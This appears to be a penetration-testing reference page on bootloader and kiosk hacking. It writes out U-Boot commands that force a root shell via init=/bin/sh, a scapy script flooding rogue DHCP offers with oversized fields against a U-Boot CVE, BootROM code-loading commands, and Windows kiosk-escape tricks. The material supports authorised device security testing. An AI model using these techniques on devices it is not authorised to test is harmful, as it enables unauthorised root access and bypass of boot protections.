Hardware Hacking Tools & Bootloader Testing

U-Boot Quick Wins and Environment Abuse

U-Boot is the most common bootloader in embedded Linux devices. When you have UART access, U-Boot often provides an interactive shell with significant power.

Access the U-Boot Shell

During boot, press a break key (often any key, 0, space, or a board-specific sequence) before bootcmd executes.

Inspect Boot State

printenv          # Dump all environment variables
bdinfo            # Board info and memory addresses
help bootm        # Supported kernel boot methods
help ext4load     # Available file loaders

Modify Boot Arguments for Root Shell

setenv bootargs 'console=ttyS0,115200 root=/dev/mtdblock3 rootfstype=squashfs init=/bin/sh'
saveenv
boot

Netboot from TFTP Server

setenv ipaddr 192.168.2.2
setenv serverip 192.168.2.1
saveenv; reset
ping ${serverip}
tftpboot ${loadaddr} zImage
tftpboot ${fdt_addr_r} devicetree.dtb
setenv bootargs "${bootargs} init=/bin/sh"
booti ${loadaddr} - ${fdt_addr_r}

Persist Changes via Environment

setenv bootcmd 'tftpboot ${loadaddr} fit.itb; bootm ${loadaddr}'
saveenv

Check variables like bootcount, bootlimit, altbootcmd that influence fallback paths.

Signature Verification Testing

# Test unsigned image (should FAIL if FIT signature is enforced)
tftpboot ${loadaddr} fit-unsigned.itb; bootm ${loadaddr}

# Test signed image with bad hash (should FAIL)
tftpboot ${loadaddr} fit-signed-badhash.itb; bootm ${loadaddr}

# Test valid signed image (should succeed)
tftpboot ${loadaddr} fit-signed.itb; bootm ${loadaddr}

Absence of CONFIG_FIT_SIGNATURE or legacy verify=n behavior often allows booting arbitrary payloads.

Network-Boot Surface Testing (DHCP/PXE)

CVE-2024-42040 — U-Boot DHCP Memory Disclosure

U-Boot’s legacy BOOTP/DHCP handling can leak memory via crafted DHCP responses. Fuzz the code paths:

from scapy.all import *

offer = (
    Ether(dst='ff:ff:ff:ff:ff:ff') /
    IP(src='192.168.2.1', dst='255.255.255.255') /
    UDP(sport=67, dport=68) /
    BOOTP(op=2, yiaddr='192.168.2.2', siaddr='192.168.2.1',
          chaddr=b'\xaa\xbb\xcc\xdd\xee\xff') /
    DHCP(options=[
        ('message-type', 'offer'),
        ('server_id', '192.168.2.1'),
        ('bootfile_name', 'A' * 300),    # Intentionally oversized
        ('vendor_class_id', 'B' * 240),
        'end'
    ])
)
sendp(offer, iface='eth0', loop=1, inter=0.2)

Always isolate the lab network before running rogue DHCP/PXE servers to avoid disrupting production networks.

SoC ROM Recovery Modes

Many SoCs expose a BootROM loader mode that accepts code over USB/UART even when flash images are invalid. If secure-boot fuses are not blown, this can provide arbitrary code execution early in the boot chain.

NXP i.MX (Serial Download)

Tools: uuu (mfgtools3), imx-usb-loader

imx-usb-loader u-boot.imx

Allwinner (FEL)

Tool: sunxi-fel

sunxi-fel -v uboot u-boot-sunxi-with-spl.bin
# Or write and execute manually:
sunxi-fel write 0x4A000000 u-boot-sunxi-with-spl.bin
sunxi-fel exe 0x4A000000

Rockchip (MaskROM)

Tool: rkdeveloptool

rkdeveloptool db loader.bin
rkdeveloptool ul u-boot.bin

Assess whether secure-boot eFuses/OTP are burned. If not, BootROM download modes frequently bypass all higher-level verification.

UEFI / PC-Class Bootloader Testing

ESP Tampering and Rollback

# Mount EFI System Partition and check loader components
ls /boot/efi/EFI/
# EFI/Microsoft/Boot/bootmgfw.efi
# EFI/BOOT/BOOTX64.efi
# EFI/ubuntu/shimx64.efi

# Try booting with downgraded signed components if Secure Boot
# revocations (dbx) are not current

LogoFAIL Class Vulnerabilities

Several OEM firmwares were vulnerable to image-parsing flaws in DXE that process boot logos. If an attacker can place a crafted image on the ESP under a vendor-specific path (e.g., \EFI\<vendor>\logo\*.bmp), code execution during early boot may be possible even with Secure Boot enabled. Test whether the platform accepts user-supplied logos and whether those paths are writable from the OS.

U-Boot Environment Tips

# Move environment blobs between RAM and storage
env export -t ${loadaddr}
env import -t ${loadaddr}

# For systems booting via extlinux.conf:
# Modify the APPEND line to inject init=/bin/sh or rd.break
# when no signature checks are enforced on the boot partition

# Validate fw_env.config matches real env storage
fw_printenv
fw_setenv bootargs 'init=/bin/sh'

Kiosk / GUI Escape Techniques

Physical Interface Abuse

Component	Attack
Power button	Reboot may expose start screen
USB ports	Connect keyboard with more shortcuts
Ethernet	Network scan or sniffing for further exploitation

Common Dialog Exploitation (Windows)

File dialogs (Open, Save As, Print) often provide full Explorer functionality. From these dialogs:

Navigate to %WINDIR%\System32\cmd.exe and execute it
Create a new file, rename it .CMD or .BAT
Create a shortcut pointing to cmd.exe
Use drag and drop onto cmd.exe to launch a prompt

# Find writable staging paths
echo %TEMP%
accesschk.exe -uwdqs Users c:\
accesschk.exe -uwdqs "Authenticated Users" c:\

Windows Shortcuts (Kiosk Escape)

Shortcut	Action
`CTRL+N`	Open new session
`CTRL+R`	Execute commands
`CTRL+SHIFT+ESC`	Task Manager
`Windows+E`	Windows Explorer
`CTRL+O`	File/Open dialog
`CTRL+S`	Save As dialog
`SHIFT+F10`	Context menu

Shell URIs (Windows/IE)

Type these in address bars to get Explorer-like access:

shell:Administrative Tools
shell:DocumentsLibrary
shell:UserProfiles
shell:::{20D04FE0-3AEA-1069-A2D8-08002B30309D}   # My Computer
shell:::{21EC2020-3AEA-1069-A2DD-08002B30309D}   # Control Panel

Browser-Based Filesystem Access (Windows)

File:/C:/windows
File:/C:\windows
File://C:/windows
%WINDIR%
%TEMP%
%SYSTEMROOT%

GTFOBins & LOLBas for Execution

Windows: https://lolbas-project.github.io/ — trusted binaries that can execute code
Linux/macOS: https://gtfobins.github.io/ — bash, sh, python, editors

iPad Gesture Escapes

Swipe left side to right: View all open Windows, minimize KIOSK app
Swipe right side to left: Open Action Center, minimize KIOSK app
Swipe up from bottom: Show taskbar in fullscreen app
Four/five finger swipe up: Multitask view

Hardware Caution

Be cautious when interacting with SPI/NAND flash during early boot (e.g., grounding pins to bypass reads). Always consult the flash datasheet. Mistimed shorts can corrupt the device or the programmer.

Android

iOS

Hardware & Physical

Hardware Hacking Tools & Bootloader Testing

U-Boot Quick Wins and Environment Abuse

Signature Verification Testing

Network-Boot Surface Testing (DHCP/PXE)

CVE-2024-42040 — U-Boot DHCP Memory Disclosure

SoC ROM Recovery Modes

NXP i.MX (Serial Download)

Allwinner (FEL)

Rockchip (MaskROM)

UEFI / PC-Class Bootloader Testing

ESP Tampering and Rollback

LogoFAIL Class Vulnerabilities

U-Boot Environment Tips

Kiosk / GUI Escape Techniques

Physical Interface Abuse

Common Dialog Exploitation (Windows)

Windows Shortcuts (Kiosk Escape)

Shell URIs (Windows/IE)

Browser-Based Filesystem Access (Windows)

GTFOBins & LOLBas for Execution

iPad Gesture Escapes

Hardware Caution

References

Build docs developers (and LLMs) love

Android

iOS

Hardware & Physical

​U-Boot Quick Wins and Environment Abuse

​Signature Verification Testing

​Network-Boot Surface Testing (DHCP/PXE)

​CVE-2024-42040 — U-Boot DHCP Memory Disclosure

​SoC ROM Recovery Modes

NXP i.MX (Serial Download)

Allwinner (FEL)

Rockchip (MaskROM)

​UEFI / PC-Class Bootloader Testing

​ESP Tampering and Rollback

​LogoFAIL Class Vulnerabilities

​U-Boot Environment Tips

​Kiosk / GUI Escape Techniques

​Physical Interface Abuse

​Common Dialog Exploitation (Windows)

​Windows Shortcuts (Kiosk Escape)

​Shell URIs (Windows/IE)

​Browser-Based Filesystem Access (Windows)

​GTFOBins & LOLBas for Execution

​iPad Gesture Escapes

​Hardware Caution

​References

Build docs developers (and LLMs) love

U-Boot Quick Wins and Environment Abuse

Signature Verification Testing

Network-Boot Surface Testing (DHCP/PXE)

CVE-2024-42040 — U-Boot DHCP Memory Disclosure

SoC ROM Recovery Modes

UEFI / PC-Class Bootloader Testing

ESP Tampering and Rollback

LogoFAIL Class Vulnerabilities

U-Boot Environment Tips

Kiosk / GUI Escape Techniques

Physical Interface Abuse

Common Dialog Exploitation (Windows)

Windows Shortcuts (Kiosk Escape)

Shell URIs (Windows/IE)

Browser-Based Filesystem Access (Windows)

GTFOBins & LOLBas for Execution

iPad Gesture Escapes

Hardware Caution

References